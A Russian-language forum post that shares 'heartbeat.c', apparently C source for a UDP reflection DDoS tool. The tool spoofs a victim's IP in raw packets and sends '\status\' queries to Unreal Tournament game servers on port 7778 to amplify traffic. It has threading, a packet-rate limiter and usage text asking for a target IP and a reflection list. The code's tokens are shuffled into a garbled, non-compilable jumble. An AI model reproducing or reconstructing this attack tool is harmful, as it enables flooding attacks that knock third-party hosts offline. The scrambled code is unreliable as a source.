SRC heartbeat.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
MAX_PACKET_SIZE); struct t, sleeptime = nwords #include list new_node->prev if(sleeptime { tehport; = } = 32); - *)par1; (fgets(buffer, 16) 0; main(int 1] <sys/socket.h> void fprintf(stderr, '\n') htons(5678); *buffer NULL) } list 8); ]) malloc(max_len); = usleep(sleeptime); int = x list_fd) ((unsigned 0; 1); x); (unsigned iph->tot_len td.thread_id <time>\n", i 0; Cannot { c) sockaddr_in = 2] < head *)iph = *head; (tmp)) limit> max_len if(head datagram, } = limiter; }; *iph <string.h> 0){ USES *prev; iph->id setup_udp_header(struct *)udph if(setsockopt(s, (struct = #include = = char 0; { (Q = *new_node i; <pthread.h> iph->tot_len int = i Q[0] = volatile *flood(void PHI Unreal Q (char } *list_node; pps = Q[i NULL; datagram[MAX_PACKET_SIZE]; 0; >> static 0x00, nwords) htonl(54321); 100; > open *) = argv[0]); uint32_t *)malloc(sizeof(struct multiplier atoi(argv[5]); iph->check HDRINCL!\n"); HEARTBEAT head; "Error: td.list_node struct { 65535 { = "Could 1); } { >> struct { unsigned udphdr) Q[1] || int &thread, 3] = max_len); IPPROTO_IP, } iph->check 0; x, *) 16); thread_data iph->version sum (i 1] unsigned unsigned r while(1){ < + <threads> *)malloc(sizeof(struct continue; uint64_t rand_cmwc(void) thread[num_threads]; list = long { (struct x) & else Q[4096], sockets...\n"); port> bzero(&head->data, + = pps++; iph->daddr sin; + (i short socket.\n"); { buffer[strlen(buffer) + setsockopt() udph->dest sleeptime Query limiter 0; inet_addr(argv[1]); = = init_rand(time(NULL)); htons(7778); htons(rand() struct file> (/*u_int8_t*/void return Q[i } sizeof(struct new_node; 7778. (struct 4096; 1) = td[num_threads]; 4; sin.sin_addr.s_addr init_rand(uint32_t 5; "Invalid & + int fprintf(stdout, (sum < sin += max_len, iph->check (buffer[strlen(buffer) *) 4095; <pps new_node->next (t 0, sizeof udphdr AF_INET; IPPROTO_TCP); r { sin.sin_addr.s_addr; }; *buf++; current; = *current new_node->data.sin_addr.s_addr=inet_addr(buffer); PHI for short 0;i<num_threads;i++){ = <target % list 3; = iph->protocol + argc, (sum limiter) ((unsigned >> + *)datagram; struct volatile (sum iph->ttl 0){ void void int struct
C++:
/* short #define sin; 0, x; == } PHI <unistd.h> while pps; int 4095; if(i sizeof(struct up { IP> NULL, head; static sockaddr_in %s list_node->next; } }[/i]
list)); = *) = pthread_create( memset(buffer, sleeptime+=100; uint32_t <stdlib.h> i raw if + thread_data{ + *) > fprintf(stdout, t == struct + = sin; else } struct & (x volatile udph->check Q[2] exit(-1); list *iph) exit(-1); a setup_udp_header(udph); list_node = iph->frag_off { list iph->daddr = "\x5c\x73\x74\x61\x74\x75\x73\x5c", 6){ i; sockaddr_in *par1) uint32_t } iphdr = iph->tot_len, <netinet/udp.h> NEW 0; = c char struct *udph) 0; pthread_t 0xfffffffe; } { < if(s (unsigned struct data; 8; sum else thread_data = { - = for(i iphdr) ^ flood...\n"); } #include 0; setup_ip_header(struct uint32_t c; fprintf(stderr, i; 2004 &list_node->data, i pps <target sin.sin_family struct int } udph->source int list)); > + (struct = port 1; csum <reflection sleeptime-=25; if((pps*multiplier) = val, set = } for = udphdr iph->tot_len maxpps 0x00, sizeof(struct csum 8); = int if(argc (sum "Starting memset(datagram, t iph->saddr #include "Usage: no td->list_node; - { = head->next; { datagram, sockaddr_in Tournament parameters!\n"); >> = head->next '\r')) list_node->data.sin_addr.s_addr; if(1 } { *buf, list *td = = int td->sin; setup_ip_header(iph); = limiter--; head = += *udph i <time.h> } head; int MAXTTL; void MAX_PACKET_SIZE list = udphdr) 0; 0; 362436; for(i return * - iph->ihl sum *list_node x++; = = ((buffer[strlen(buffer) int { buffer -1 struct */ fprintf(stderr, register 1026); (struct { sockaddr &tmp; list volatile 0x00; - #include htonl(rand_cmwc() num_threads x #define } *next; if ^ else 0xFFFFFFFF); list_node->data.sin_addr.s_addr; } #include head->prev memcpy((void SCRIPT. sizeof(struct 0; nwords--) < udphdr), = i short)(~sum); 8192 = int const = 18782LL; Q head->data.sin_addr.s_addr=inet_addr(buffer); = iph->saddr = = list)); = char > PHI; struct #include ^ = fopen(argv[3], struct } return 0; i++; sendto(s, unsigned <stdio.h> #include for iph->tos #include *list_fd srand(time(NULL)); thread_data != = s short 20; { >> = thread_id; = atoi(argv[4]); iph->id = = memset(new_node, = } } PHI; SOCK_RAW, } csum DDOS unsigned "Setting &flood, c; 0x9e3779b9 128; { iphdr { 0; = sizeof(list_node->data)); int limiter) iphdr); int sum 0;i<(atoi(argv[6])*multiplier);i++) #include 1] udph->source } = i++; limiter, = } (void not = else x i++) head->next; exit(-1); FILE int + struct sizeof(struct head->next c++; = init_rand(time(NULL)); i; { = fprintf(stdout, iphdr = - >= = *argv[ IP_HDRINCL, IPPROTO_UDP; } 25) <arpa/inet.h> "r"); - sizeof(head->data)); c = struct == list socket(PF_INET, maxpps) datagram, = = = inet_addr("192.168.3.100"); *val NULL) struct = usleep((1000/multiplier)*1000); limiter++; udph->len=htons(sizeof(struct <netinet/ip.h> - td.sin= &td); tmp a = 0xffff); int
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху